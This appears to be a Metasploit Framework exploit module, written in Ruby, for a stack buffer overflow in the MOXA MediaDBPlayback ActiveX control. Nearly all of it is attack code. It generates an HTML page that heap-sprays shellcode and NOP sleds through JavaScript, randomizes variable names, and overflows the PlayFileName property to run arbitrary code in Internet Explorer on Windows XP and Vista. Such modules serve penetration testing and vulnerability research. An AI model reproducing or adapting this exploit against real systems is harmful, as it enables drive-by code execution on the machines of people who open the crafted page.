MOXA MediaDBPlayback ActiveX Control Buffer Overflow



##

# $Id: moxa_mediadbplayback.rb 10914 2010-11-05 02:58:01Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    Rank = AverageRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'MOXA MediaDBPlayback ActiveX Control Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in MOXA_ActiveX_SDK. When
                sending an overly long string to the PlayFileName() of MediaDBPlayback.DLL (2.2.0.5)
                an attacker may be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'MC' ],
            'Version'        => '$Revision: 10914 $',
            'References'     =>
                [
                    [ 'OSVDB', '68986'],
                    [ 'URL', 'http://www.moxa.com' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0a0a0a0a } ]
                ],
            'DisclosureDate' => 'Oct 19 2010',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
            ], self.class)
    end

    def exploit
        # Encode the shellcode.
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Create some nops.
        nops    = Rex::Text.to_unescape(make_nops(4))

        # Set the return.
        ret     = Rex::Text.uri_encode([target.ret].pack('L'))

        # Randomize the javascript variable names.
        vname  = rand_text_alpha(rand(100) + 1)
        var_i  = rand_text_alpha(rand(30)  + 2)
        rand1  = rand_text_alpha(rand(100) + 1)
        rand2  = rand_text_alpha(rand(100) + 1)
        rand3  = rand_text_alpha(rand(100) + 1)
        rand4  = rand_text_alpha(rand(100) + 1)
        rand5  = rand_text_alpha(rand(100) + 1)
        rand6  = rand_text_alpha(rand(100) + 1)
        rand7  = rand_text_alpha(rand(100) + 1)
        rand8  = rand_text_alpha(rand(100) + 1)

        content = %Q|
<html>
<object id ='#{vname}' classid='clsid:5B32067A-121B-49DE-8182-91EB13DDF8D6'></object>
<script language ="javascript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.PlayFileName = #{rand8};
</script>
</html>
        |

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(content)
    end

end